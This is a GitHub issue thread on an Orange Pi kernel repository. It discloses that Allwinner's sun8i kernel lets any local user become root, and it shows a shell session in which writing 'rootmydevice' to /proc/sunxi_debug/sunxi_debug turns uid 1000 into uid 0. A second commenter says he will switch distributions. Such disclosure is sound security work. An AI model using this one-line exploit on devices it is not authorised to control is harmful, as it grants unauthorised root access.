search

loboris / OrangePI-Kernel

116 stars 84 forks source link

Local privileges escalation on sun8i #20

Open ThomasKaiser opened 8 years ago

ThomasKaiser commented 8 years ago

While I know that this repo isn't maintained since over half a year more like a reference. Seems like Allwinner's sun8i kernel sources allow everyone to become root easily:

tk@bananapim3:~$ id
uid=1000(tk) gid=1000(tk) groups=1000(tk),20(dialout),27(sudo),29(audio),44(video),46(plugdev),108(netdev)
tk@bananapim3:~$ echo "rootmydevice" > /proc/sunxi_debug/sunxi_debug 
tk@bananapim3:~$ id
uid=0(root) gid=0(root) groups=0(root),20(dialout),27(sudo),29(audio),44(video),46(plugdev),108(netdev),1000(tk)
betavr commented 8 years ago

It's time to switch to armbian on my opi pc I guess.